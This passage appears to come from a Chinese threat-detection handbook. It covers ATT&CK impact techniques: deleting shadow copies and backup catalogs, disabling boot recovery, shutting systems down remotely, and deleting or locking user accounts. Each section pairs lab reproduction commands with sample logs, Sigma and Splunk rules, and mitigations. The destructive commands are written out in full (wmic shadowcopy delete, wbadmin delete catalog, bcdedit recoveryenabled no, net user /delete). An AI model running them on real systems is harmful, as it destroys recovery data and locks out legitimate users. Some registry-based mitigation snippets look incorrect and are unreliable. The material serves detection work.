删除备份目录 - **命令**(需管理员权限): ```cmd wbadmin.exe delete catalog -quiet ``` #### 禁用自动恢复 - **命令**(需管理员权限): ```cmd bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures bcdedit.exe /set {default} recoveryenabled no ``` ## 检测日志 **Windows安全日志** - **事件ID 4688**:记录`wmic.exe`、`vssadmin.exe`、`wbadmin.exe`或`bcdedit.exe`的进程创建。 - **事件ID 4656**:记录注册表访问(如`bcdedit`修改启动配置)。 **Windows系统日志** - **事件ID 524**:记录备份目录删除事件。 - **事件ID 1**(卷影副本服务):记录卷影副本相关操作。 **Sysmon日志** - **事件ID 1**:记录进程创建,包含命令行参数(如`shadowcopy delete`)。 - **事件ID 13**:记录注册表修改,如`HKLM\SYSTEM\CurrentControlSet\Control\BootStatusPolicy`。 - **事件ID 11**:记录临时文件或脚本的创建。 **配置日志记录** - 启用命令行参数记录:`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 启用注册表审核:`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 对象访问 > 审核注册表`。 - 部署Sysmon以增强进程、注册表和服务监控。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10或Windows Server 2012+。 - **权限**:管理员权限(执行恢复禁用命令需提升权限)。 - **工具**:`wmic.exe`、`vssadmin.exe`、`wbadmin.exe`、`bcdedit.exe`(系统自带)、Sysmon。 - **前提**:确保存在卷影副本(可通过`vssadmin list shadows`检查)。 - **日志**:启用Windows安全日志、系统日志和Sysmon。 ### 攻击步骤 1. **检查卷影副本** - 列出当前卷影副本: ```cmd vssadmin list shadows ``` 2. **删除卷影副本** - 使用WMIC删除: ```cmd wmic shadowcopy delete ``` 3. **验证结果** - 再次检查卷影副本: ```cmd vssadmin list shadows ``` - 检查日志: - **Windows安全日志(事件ID 4688)**: ```powershell Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4688 -and $_.Message -match "wmic.exe" } ``` - **Sysmon日志(事件ID 1)**: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 1 -and $_.Message -match "shadowcopy delete" } ``` 4. **恢复环境** - 若需恢复卷影副本,需从备份重新创建(测试环境建议快照恢复)。 ### 示例输出 ```cmd vssadmin list shadows Contents of shadow copy set ID: {12345678-1234-1234-1234-1234567890ab} Shadow Copy ID: {abcdef12-3456-7890-abcd-ef1234567890} Original Volume: (C:)\Volume{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}\ Creation Time: 2025-06-10 03:00:00 wmic shadowcopy delete No Instance(s) Available. vssadmin list shadows No shadow copies found. ``` **注意**:此复现仅用于学习和测试目的,需在合法授权的测试环境中进行,切勿用于非法活动。 ## 测试留痕 - **Windows安全日志(事件ID 4688,进程创建)**: ```plaintext EventID: 4688 Subject: Security ID: CONTOSO\Administrator Account Name: Administrator Account Domain: CONTOSO Logon ID: 0x7169C Process Information: New Process ID: 0x1304 New Process Name: C:\Windows\System32\wbem\WMIC.exe Token Elevation Type: TokenElevationTypeDefault (1) Mandatory Label: Mandatory Label\High Mandatory Level Creator Process ID: 0x15d0 Creator Process Name: C:\Windows\System32\cmd.exe Process Command Line: wmic shadowcopy delete ``` - **Windows系统日志(事件ID 1,卷影副本删除)**: ```plaintext EventID: 1 Source: VSS Message: Volume Shadow Copy Service information: The shadow copy was deleted. ``` - **Sysmon日志(事件ID 1,进程创建)**: ```plaintext EventID: 1 UtcTime: 2025-06-10 03:00:00.123 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} ProcessId: 4864 Image: C:\Windows\System32\wbem\WMIC.exe CommandLine: wmic shadowcopy delete ParentImage: C:\Windows\System32\cmd.exe User: CONTOSO\Administrator IntegrityLevel: High ``` - **Sysmon日志(事件ID 13,注册表修改,bcdedit示例)**: ```plaintext EventID: 13 EventType: SetValue UtcTime: 2025-06-10 03:00:00.234 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ac} Image: C:\Windows\System32\bcdedit.exe TargetObject: HKLM\SYSTEM\CurrentControlSet\Control\BootStatusPolicy Details: ignoreallfailures User: CONTOSO\Administrator ``` ## 检测规则/思路 **检测规则** 通过监控命令行执行、注册表修改及服务状态变更,检测系统恢复禁用行为。以下是具体思路: 1. **日志分析**: - 监控Sysmon事件ID 1,检测`wmic.exe`、`vssadmin.exe`、`wbadmin.exe`或`bcdedit.exe`执行,检查命令行参数(如`shadowcopy delete`、`delete catalog`)。 - 监控Windows系统日志事件ID 524,检测备份目录删除。 - 监控Windows系统日志事件ID 1,检测卷影副本删除。 - 监控Sysmon事件ID 13,检测启动配置注册表修改(如`BootStatusPolicy`)。 - 监控Windows安全日志事件ID 4688,检测相关工具的进程创建。 2. **Sigma规则(系统恢复功能删除)**: ```yaml title: Windows系统恢复功能删除检测 id: k89012345-abcd-6789-0123-45678901efgh status: stable description: 检测使用wmic、vssadmin、wbadmin或bcdedit禁用系统恢复功能 references: - https://attack.mitre.org/techniques/T1490/ tags: - attack.impact - attack.t1490 logsource: product: windows service: security detection: selection_bcdedit: EventID: 4688 Image|endswith: '\bcdedit.exe' CommandLine|contains: - 'bootstatuspolicy ignoreallfailures' - 'recoveryenabled no' selection_vssadmin: EventID: 4688 Image|endswith: '\vssadmin.exe' CommandLine|contains: 'delete shadows' selection_wmic: EventID: 4688 Image|endswith: '\wmic.exe' CommandLine|contains: 'shadowcopy delete' selection_wbadmin: EventID: 4688 Image|endswith: '\wbadmin.exe' CommandLine|contains: 'delete catalog' condition: selection_bcdedit or selection_vssadmin or selection_wmic or selection_wbadmin fields: - Image - CommandLine - ParentImage - User falsepositives: - 管理员手动维护操作 - 合法备份软件操作 level: high ``` 3. **Sigma规则(卷影副本删除事件)**: ```yaml title: 卷影副本删除事件检测 id: l90123456-abcd-7890-1234-56789012fghi status: experimental description: 检测卷影副本被删除的事件,可能与勒索软件相关 logsource: product: windows service: system detection: selection: EventID: 1 Source: VSS Message|contains: 'shadow copy was deleted' condition: selection fields: - Message - TimeCreated falsepositives: - 合法备份清理操作 level: high ``` 4. **SIEM规则**: - 检测系统恢复禁用行为。 - 示例Splunk查询: ```spl (source="WinEventLog:Security" EventCode=4688 CommandLine IN ("*shadowcopy delete*","*delete shadows*","*delete catalog*","*bootstatuspolicy ignoreallfailures*","*recoveryenabled no*")) OR (source="WinEventLog:System" EventCode=1 Message="*shadow copy was deleted*") | stats count by EventCode, CommandLine, Message, SourceName, ComputerName ``` 5. **注册表监控**: - 检查启动配置: ```powershell Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control" -Name BootStatusPolicy ``` 6. **工具支持**: - 使用Sysinternals Process Monitor捕获命令执行和注册表修改。 - 使用Sysinternals Autoruns检查启动配置: ```cmd autoruns -a | findstr "Boot" ``` 7. **威胁情报整合**: - 检查命令行参数或相关文件哈希是否与已知勒索软件(如Ryuk、Conti)匹配,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御系统恢复禁用攻击需从权限控制、恢复保护和监控入手: 1. **限制工具执行权限** - 限制非管理员用户执行`wmic.exe`、`vssadmin.exe`、`wbadmin.exe`、`bcdedit.exe`: ```powershell icacls "C:\Windows\System32\wbem\wmic.exe" /deny "Users:(X)" icacls "C:\Windows\System32\vssadmin.exe" /deny "Users:(X)" ``` 2. **保护卷影副本** - 配置组策略限制卷影副本删除: ```powershell Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" -Name DisableSR -Value 0 ``` 3. **启用备份策略** - 定期创建离线备份,防止备份目录被删除。 - 配置Windows备份服务自动运行: ```cmd sc config wbengine start=auto ``` 4. **加强日志监控** - 启用Sysmon事件ID 1、13和Windows事件ID 4688、524、1,检测恢复禁用行为。 - 配置SIEM实时告警卷影副本或备份删除事件。 - 使用EDR工具检测异常命令执行。 5. **定期审计** - 检查卷影副本状态: ```cmd vssadmin list shadows ``` - 检查启动配置: ```cmd bcdedit /enum {default} ``` - 检查备份目录: ```cmd wbadmin get versions ``` 6. **补丁管理** - 确保系统安装最新补丁,修复可能被利用的恢复相关漏洞。 ## 参考推荐 - MITRE ATT&CK: T1490 ================================================ FILE: Windows/14影响/T1529-win-系统关机或重启.md ================================================ # T1529-Win-系统关机或重启 ## 描述 攻击者通过执行系统关机或重启操作,破坏合法用户对系统的访问或加速其他恶意活动的影响(T1529)。Windows操作系统提供内置工具(如`shutdown.exe`)用于本地或远程执行关机/重启,攻击者可利用这些工具中断服务、掩盖痕迹或配合其他攻击(如磁盘擦除、勒索软件)。例如,攻击者可能在破坏系统恢复功能后重启系统,以阻止修复尝试。 关机或重启通常需要管理员权限,尤其是远程操作。攻击者可能通过命令行、脚本或计划任务触发此类行为。检测重点在于监控`shutdown.exe`执行、相关命令行参数及系统日志中的关机/重启事件。 ## 测试案例 1. **定时关机** 使用`shutdown.exe -s -t `设置延迟关机,模拟攻击者计划中断系统。 2. **立即重启** 使用`shutdown.exe -r -t 0`强制立即重启,模拟快速破坏访问。 3. **取消关机** 使用`shutdown.exe -a`取消计划中的关机任务,模拟攻击者调整策略。 4. **远程关机** 使用`shutdown.exe /m \\ -s`远程关闭目标系统(需权限)。 ### 示例命令 - **定时关机**(需管理员权限): ```cmd shutdown.exe -s -t 13200 ``` - 设置220分钟后关机。 - **取消关机**: ```cmd shutdown.exe -a ``` - **立即重启**: ```cmd shutdown.exe -r -t 0 ``` - **远程关机**: ```cmd shutdown.exe /m \\192.168.1.100 -s -t 60 ``` ## 检测日志 **Windows安全日志** - **事件ID 4688**:记录`shutdown.exe`或相关进程(如`wlrmdr.exe`)的创建。 **Windows系统日志** - **事件ID 1074**:记录用户或进程发起的关机/重启事件。 - **事件ID 6006**:记录事件日志服务停止(系统关闭前)。 - **事件ID 6008**:记录意外关机事件(若系统未正常关闭)。 **Sysmon日志** - **事件ID 1**:记录`shutdown.exe`的进程创建及命令行参数。 - **事件ID 11**:记录临时文件或脚本的创建(如攻击者使用脚本触发关机)。 **配置日志记录** - 启用命令行参数记录:`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 部署Sysmon以增强进程和文件监控。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10或Windows Server 2012+。 - **权限**:管理员权限(执行`shutdown.exe`需提升权限)。 - **工具**:`shutdown.exe`(系统自带,位于`C:\Windows\System32`)、Sysmon。 - **日志**:启用Windows安全日志、系统日志和Sysmon。 ### 攻击步骤 1. **执行定时关机** - 设置220分钟后关机: ```cmd shutdown.exe -s -t 13200 ``` 2. **取消关机** - 中止计划中的关机: ```cmd shutdown.exe -a ``` 3. **验证结果** - 检查系统日志: ```powershell Get-WinEvent -LogName System | Where-Object { $_.Id -in (1074, 6006) } ``` - 检查安全日志: ```powershell Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4688 -and $_.Message -match "shutdown.exe" } ``` - 检查Sysmon日志: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 1 -and $_.Message -match "shutdown.exe" } ``` 4. **清理** - 确保取消所有计划关机任务: ```cmd shutdown.exe -a ``` ### 示例输出 ```cmd shutdown.exe -s -t 13200 <系统提示:Windows将在220分钟后关闭> shutdown.exe -a <系统提示:计划的关机已取消> ``` **注意**:此复现仅用于学习和测试目的,需在合法授权的测试环境中进行,切勿用于非法活动。 ## 测试留痕 - **Windows安全日志(事件ID 4688,进程创建)**: ```plaintext EventID: 4688 Subject: Security ID: CONTOSO\Administrator Account Name: Administrator Account Domain: CONTOSO Logon ID: 0x7169C Process Information: New Process ID: 0x730 New Process Name: C:\Windows\System32\shutdown.exe Token Elevation Type: TokenElevationTypeDefault (1) Mandatory Label: Mandatory Label\High Mandatory Level Creator Process ID: 0x15d0 Creator Process Name: C:\Windows\System32\cmd.exe Process Command Line: shutdown -s -t 13200 ``` - **Windows安全日志(事件ID 4688,wlrmdr.exe进程)**: ```plaintext EventID: 4688 Subject: Security ID: SYSTEM Account Name: WIN-1CIA2BP8VBJ$ Account Domain: CONTOSO Logon ID: 0x3E7 Process Information: New Process ID: 0x1418 New Process Name: C:\Windows\System32\wlrmdr.exe Token Elevation Type: TokenElevationTypeDefault (1) Mandatory Label: Mandatory Label\High Mandatory Level Creator Process ID: 0x27c Creator Process Name: C:\Windows\System32\winlogon.exe Process Command Line: -s 120000 -f 2 -t 即将注销你的登录 -m Windows 将在 220 分钟后关闭。 ``` - **Windows系统日志(事件ID 1074,关机/重启发起)**: ```plaintext EventID: 1074 Source: User32 Message: The process C:\Windows\system32\winlogon.exe (WIN-1CIA2BP8VBJ) has initiated the restart of computer WIN-1CIA2BP8VBJ on behalf of user NT AUTHORITY\SYSTEM for the following reason: Operating System: Upgrade (Planned) Reason Code: 0x80020003 Shutdown Type: restart Comment: ``` - **Windows系统日志(事件ID 6006,事件日志停止)**: ```plaintext EventID: 6006 Source: EventLog Message: The Event log service was stopped. ``` ## 检测规则/思路 **检测规则** 通过监控`shutdown.exe`执行及系统关机/重启事件,检测异常行为。以下是具体思路: 1. **日志分析**: - 监控Sysmon事件ID 1,检测`shutdown.exe`执行,检查命令行参数(如`-s`、`-r`、`/m`)。 - 监控Windows系统日志事件ID 1074,检测关机/重启发起。 - 监控Windows系统日志事件ID 6006,检测事件日志服务停止(系统关闭前)。 - 监控Windows安全日志事件ID 4688,检测`shutdown.exe`或`wlrmdr.exe`进程创建。 - 检查远程关机行为(如命令行包含`/m \\`)。 2. **Sigma规则(关机/重启命令执行)**: ```yaml title: Windows关机或重启命令执行检测 id: m01234567-abcd-8901-2345-67890123hijk status: stable description: 检测使用shutdown.exe执行系统关机或重启,可能与攻击行为相关 references: - https://attack.mitre.org/techniques/T1529/ - https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown tags: - attack.impact - attack.t1529 logsource: product: windows service: security detection: selection: EventID: 4688 Image|endswith: '\shutdown.exe' CommandLine|contains: 'shutdown' condition: selection fields: - Image - CommandLine - ParentImage - User falsepositives: - 管理员计划的维护操作 - 自动化脚本执行 level: medium ``` 3. **Sigma规则(系统关机/重启事件)**: ```yaml title: Windows系统关机或重启事件检测 id: n12345678-abcd-9012-3456-78901234ijkl status: experimental description: 检测系统关机或重启事件,可能与攻击行为相关 logsource: product: windows service: system detection: selection: EventID: - 1074 - 6006 condition: selection fields: - Message - TimeCreated falsepositives: - 正常系统维护 - 用户手动关机 level: medium ``` 4. **SIEM规则**: - 检测关机/重启相关行为。 - 示例Splunk查询: ```spl (source="WinEventLog:Security" EventCode=4688 CommandLine="*shutdown*") OR (source="WinEventLog:System" EventCode IN (1074,6006)) | stats count by EventCode, CommandLine, Message, SourceName, ComputerName ``` 5. **工具支持**: - 使用Sysinternals Process Monitor捕获`shutdown.exe`执行和相关进程活动。 - 使用Sysinternals Autoruns检查计划任务是否包含关机命令: ```cmd autoruns -a | findstr "shutdown" ``` 6. **威胁情报整合**: - 检查命令行参数或父进程是否与已知恶意行为(如勒索软件)匹配,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御系统关机/重启攻击需从权限控制、监控和恢复策略入手: 1. **限制shutdown.exe执行** - 限制非管理员用户执行`shutdown.exe`: ```powershell icacls "C:\Windows\System32\shutdown.exe" /deny "Users:(X)" ``` 2. **加强权限管理** - 限制远程关机权限: ```powershell Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name LocalAccountTokenFilterPolicy -Value 0 ``` 3. **监控关机行为** - 启用Sysmon事件ID 1和Windows事件ID 4688、1074、6006,检测异常关机/重启。 - 配置SIEM实时告警`shutdown.exe`执行或系统日志事件。 - 使用EDR工具检测异常进程行为。 4. **配置系统恢复** - 启用自动重启策略: ```cmd bcdedit /set {default} bootstatuspolicy displayallfailures ``` - 定期备份关键数据,防止关机后数据丢失。 5. **定期审计** - 检查计划任务: ```powershell Get-ScheduledTask | Where-Object { $_.Actions -match "shutdown" } ``` - 检查关机事件: ```powershell Get-WinEvent -LogName System | Where-Object { $_.Id -in (1074, 6006) } ``` 6. **补丁管理** - 确保系统安装最新补丁,修复可能被利用的权限提升漏洞。 ## 参考推荐 - MITRE ATT&CK: T1529 - Windows shutdown命令官方说明 ================================================ FILE: Windows/14影响/T1531-win-账户访问权限删除.md ================================================ # T1531-Win-账户访问权限移除 ## 描述 攻击者通过删除、锁定或操纵用户账户,禁止合法用户访问系统或网络资源,从而中断可用性(T1531)。账户访问移除可能包括更改或重置密码、删除账户、锁定账户,或修改账户权限以限制访问。此类行为常用于破坏业务连续性、阻止管理员响应攻击,或作为勒索软件攻击的一部分。攻击者可能使用内置工具(如`net.exe`、`wmic.exe`、PowerShell)或GUI界面执行这些操作,通常需要管理员权限。 账户访问移除可能与其他攻击技术(如数据破坏、服务停止)结合使用,以放大影响。检测重点在于监控账户相关事件(如密码更改、账户删除)、命令行活动及异常登录失败。 ## 测试案例 1. **更改账户密码** 使用`net user`更改用户密码,模拟攻击者阻止合法用户登录。 2. **重置账户密码** 通过管理工具或命令行重置目标账户密码。 3. **删除用户账户** 使用`net user /delete`或PowerShell删除账户。 4. **锁定用户账户** 触发多次错误登录或使用`net user /active:no`锁定账户。 ### 示例命令 - **更改密码**(需管理员权限): ```cmd net user TestUser NewPassword123 ``` - **删除账户**: ```cmd net user TestUser /delete ``` - **锁定账户**: ```cmd net user TestUser /active:no ``` - **触发账户锁定**(多次错误登录): ```powershell for ($i=1; $i -le 10; $i++) { runas /user:TestUser /netonly cmd.exe } ``` ## 检测日志 **Windows安全日志** - **事件ID 4723**:尝试更改账户密码。 - **事件ID 4724**:尝试重置账户密码。 - **事件ID 4726**:用户账户被删除。 - **事件ID 4740**:用户账户被锁定。 - **事件ID 4625**:账户登录失败(可能因密码更改或锁定)。 **Sysmon日志** - **事件ID 1**:记录进程创建,包含`net.exe`或`powershell.exe`的命令行参数。 - **事件ID 13**:记录注册表修改,如账户配置变更(`HKLM\SAM`)。 **配置日志记录** - 启用账户管理审核:`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 账户管理 > 审核用户账户管理`。 - 启用命令行参数记录:`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 部署Sysmon以增强进程和注册表监控。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10或Windows Server 2012+。 - **权限**:管理员权限(账户操作需提升权限)。 - **工具**:`net.exe`、`powershell.exe`(系统自带)、Sysmon。 - **账户**:创建测试账户(如`TestUser`): ```cmd net user TestUser Password123 /add ``` - **日志**:启用Windows安全日志和Sysmon。 ### 攻击步骤 1. **更改账户密码** - 修改`TestUser`密码: ```cmd net user TestUser NewPassword123 ``` 2. **删除账户** - 删除`TestUser`账户: ```cmd net user TestUser /delete ``` 3. **锁定账户** - 禁用账户: ```cmd net user TestUser /active:no ``` 4. **验证结果** - 检查日志: - **Windows安全日志(事件ID 4723, 4726, 4740)**: ```powershell Get-WinEvent -LogName Security | Where-Object { $_.Id -in (4723, 4726, 4740) } ``` - **Sysmon日志(事件ID 1)**: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 1 -and $_.Message -match "net.exe" } ``` - 尝试以`TestUser`登录,确认访问被阻止。 5. **清理** - 恢复账户(若未删除): ```cmd net user TestUser /active:yes net user TestUser Password123 ``` - 重新创建账户(若已删除): ```cmd net user TestUser Password123 /add ``` ### 示例输出 ```cmd net user TestUser NewPassword123 The command completed successfully. net user TestUser /delete The command completed successfully. net user TestUser /active:no The command completed successfully. ``` **注意**:此复现仅用于学习和测试目的,需在合法授权的测试环境中进行,切勿用于非法活动。 ## 测试留痕 - **Windows安全日志(事件ID 4723,密码更改)**: ```plaintext EventID: 4723 Subject: Security ID: CONTOSO\Administrator Account Name: Administrator Account Domain: CONTOSO Logon ID: 0x7169C Target Account: Security ID: CONTOSO\TestUser Account Name: TestUser Account Domain: CONTOSO ``` - **Windows安全日志(事件ID 4726,账户删除)**: ```plaintext EventID: 4726 Subject: Security ID: CONTOSO\Administrator Account Name: Administrator Account Domain: CONTOSO Logon ID: 0x7169C Target Account: Security ID: CONTOSO\TestUser Account Name: TestUser Account Domain: CONTOSO ``` - **Windows安全日志(事件ID 4740,账户锁定)**: ```plaintext EventID: 4740 Subject: Security ID: SYSTEM Account Name: WIN-1CIA2BP8VBJ$ Account Domain: CONTOSO Logon ID: 0x3E7 Target Account: Security ID: CONTOSO\TestUser Account Name: TestUser Account Domain: CONTOSO Caller Computer Name: WIN-1CIA2BP8VBJ ``` - **Sysmon日志(事件ID 1,进程创建)**: ```plaintext EventID: 1 UtcTime: 2025-06-10 03:00:00.123 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} ProcessId: 2345 Image: C:\Windows\System32\net.exe CommandLine: net user TestUser /delete ParentImage: C:\Windows\System32\cmd.exe User: CONTOSO\Administrator IntegrityLevel: High ``` ## 检测规则/思路 **检测规则** 通过监控账户管理事件及相关命令行活动,检测账户访问移除行为。以下是具体思路: 1. **日志分析**: - 监控Windows安全日志事件ID 4723、4724、4726、4740,检测密码更改、账户删除或锁定。 - 监控Sysmon事件ID 1,检测`net.exe`、`powershell.exe`或`wmic.exe`执行,检查命令行参数(如`/delete`、`/active:no`)。 - 监控Sysmon事件ID 13,检测SAM注册表修改(如`HKLM\SAM`)。 - 监控Windows安全日志事件ID 4625,检测因密码更改或锁定导致的登录失败。 - 关联多个账户事件,检查批量操作(如短时间内多个账户被删除)。 2. **Sigma规则(可疑账户操作)**: ```yaml title: Windows可疑用户账户操作检测 id: o23456789-abcd-0123-4567-89012345klmn status: stable description: 检测账户密码更改、删除或锁定,可能与访问移除相关 references: - https://attack.mitre.org/techniques/T1531/ tags: - attack.impact - attack.t1531 logsource: product: windows service: security detection: selection: EventID: - 4723 - 4724 - 4726 - 4740 condition: selection fields: - TargetAccountName - SubjectAccountName - ComputerName falsepositives: - 管理员合法账户管理 - 密码策略强制重置 level: medium ``` 3. **Sigma规则(账户操作命令执行)**: ```yaml title: Windows账户操作命令执行检测 id: p34567890-abcd-1234-5678-90123456lmno status: experimental description: 检测使用net.exe执行账户删除或锁定操作 logsource: product: windows service: sysmon detection: selection: EventID: 1 Image|endswith: '\net.exe' CommandLine|contains: - '/delete' - '/active:no' - 'user ' condition: selection fields: - Image - CommandLine - ParentImage - User falsepositives: - 管理员账户维护 level: high ``` 4. **SIEM规则**: - 检测账户操作及相关命令执行。 - 示例Splunk查询: ```spl (source="WinEventLog:Security" EventCode IN (4723,4724,4726,4740)) OR (source="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventID=1 Image="*net.exe" CommandLine IN ("*/delete*","*/active:no*")) | stats count by EventCode, CommandLine, TargetAccountName, SubjectAccountName, ComputerName ``` 5. **账户监控**: - 检查账户状态: ```powershell Get-LocalUser | Select-Object Name, Enabled, PasswordLastSet ``` 6. **工具支持**: - 使用Sysinternals Process Monitor捕获账户相关命令执行。 - 使用Sysinternals Autoruns检查计划任务是否包含账户操作: ```cmd autoruns -a | findstr "net.exe" ``` 7. **威胁情报整合**: - 检查命令行参数或账户名称是否与已知恶意行为(如勒索软件)匹配,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御账户访问移除攻击需从权限控制、监控和恢复策略入手: 1. **限制账户管理权限** - 限制非管理员用户执行`net.exe`: ```powershell icacls "C:\Windows\System32\net.exe" /deny "Users:(X)" ``` 2. **加强密码策略** - 启用账户锁定策略: ```powershell Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters" -Name MaximumPasswordAge -Value 30 Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name LockoutThreshold -Value 5 ``` 3. **监控账户操作** - 启用Sysmon事件ID 1、13和Windows事件ID 4723、4724、4726、4740,检测账户异常操作。 - 配置SIEM实时告警账户删除或锁定事件。 - 使用EDR工具检测异常账户行为。 4. **定期备份账户数据** - 定期导出用户账户信息: ```powershell net user > accounts_backup.txt ``` 5. **定期审计** - 检查账户状态: ```powershell Get-LocalUser | Where-Object { $_.Enabled -eq $false } ``` - 检查账户事件: ```powershell Get-WinEvent -LogName Security | Where-Object { $_.Id -in (4723, 4724, 4726, 4740) } ``` 6. **补丁管理** - 确保系统安装最新补丁,修复可能被利用的权限提升漏洞。 ## 参考推荐 - MITRE ATT&CK: T1531 ================================================ FILE: link.md ================================================ # Threat-Analysis-Handbook ## 简介 Threat-Analysis-Handbook目前已覆盖106个TID,326个场景。主要涵盖Web、Windows AD、Linux,涉及ATT&CK技术、模拟测试、检测思路、检测所需数据源等。 ![覆盖图](img/index.png) ## 规则说明 Web_Attck检测规则为Suricata、Sigma两种格式,端点检测规则为Sigma格式为主。 ## 参考链接 ### Mitre.Att&ck - [attack.mitre](https://attack.mitre.org/) ### 数据&组件 - [Security-Datasets](https://github.com/OTRF/Security-Datasets/) - [OTRF/OSSEM](https://github.com/OTRF/OSSEM) - [Windows_Sysmon](https://github.com/SwiftOnSecurity/sysmon-config) - [HELK](https://github.com/Cyb3rWard0g/HELK) - [threathunters-io/laurel](https://github.com/threathunters-io/laurel) - [Zeek](https://github.com/zeek/zeek) - [Suricata](https://github.com/OISF/suricata) - [Microsoft事件日志思维导图](https://github.com/mdecrevoisier/Microsoft-eventlog-mindmap) - [Windows事件收集器部署工具](https://github.com/mdecrevoisier/Windows-WEC-server_auto-deploy#windows-event-collector-deployment-toolkit) - [SELKS](https://github.com/StamusNetworks/SELKS) ### 开源规则 - [Sigma](https://github.com/Neo23x0/sigma) (by Neo23x0) - [Elastic_detection-rules](https://github.com/elastic/detection-rules/tree/main/rules) - [elastic-prebuilt-rules](https://www.elastic.co/guide/en/security/current/prebuilt-rules.html) - [Splunk security_content](https://github.com/splunk/security_content/tree/develop/detections) - [Splunk-detections](https://research.splunk.com/detections/) - [Atomic Blue Detections](https://eqllib.readthedocs.io/en/latest/atomicblue.html) - [Detecting ATT&CK techniques & tactics for Linux](https://github.com/Kirtar22/Litmus_Test) (by Kirtar22) - [ThreatHunter-Playbook](https://github.com/OTRF/ThreatHunter-Playbook) - [Threat Hunter Playbook ](https://threathunterplaybook.com/intro.html) - [有关网络安全的所有最佳链接和资源](https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide) ### 对手仿真 - [Atomic Red Team](https://github.com/redcanaryco/atomic-red-team) (by Red Canary) - [Purple-team-attack-automation](https://github.com/praetorian-inc/purple-team-attack-automation/wiki/Available-Modules) - [Mitre/caldera](https://github.com/mitre/caldera) - ...... ### 红队技术 - [RedTeam-Tactics-and-Techniques](https://github.com/mantvydasb/RedTeam-Tactics-and-Techniques) (by Mantvydas) - [AD-Pentest-Notes](https://github.com/chriskaliX/AD-Pentest-Notes) - [RedTeamNotes](https://github.com/biggerduck/RedTeamNotes) - [RedTeamAttack](https://github.com/r0eXpeR/RedTeamAttack) - [hassan0x/RedTeam](https://github.com/hassan0x/RedTeam) - [Awesome-CobaltStrike](https://github.com/zer0yu/Awesome-CobaltStrike) - [RedTeamCSharpScripts](https://github.com/Mr-Un1k0d3r/RedTeamCSharpScripts) - [redteam-notebookPublic](https://github.com/foobarto/redteam-notebook) - [学习的魔力](http://bitvijays.github.io/) - ...... ### 一些比较有意思的蓝队项目 - [JetBrains系列产品.idea钓鱼反制红队](https://github.com/CC11001100/idea-project-fish-exploit) - [RedTeam_BlueTeam_HW](https://github.com/Mr-xn/RedTeam_BlueTeam_HW) - [开源网络钓鱼工具包gophish](https://github.com/gophish/gophish) - [MysqlHoneypot,获取攻击者微信ID](https://github.com/heikanet/MysqlHoneypot)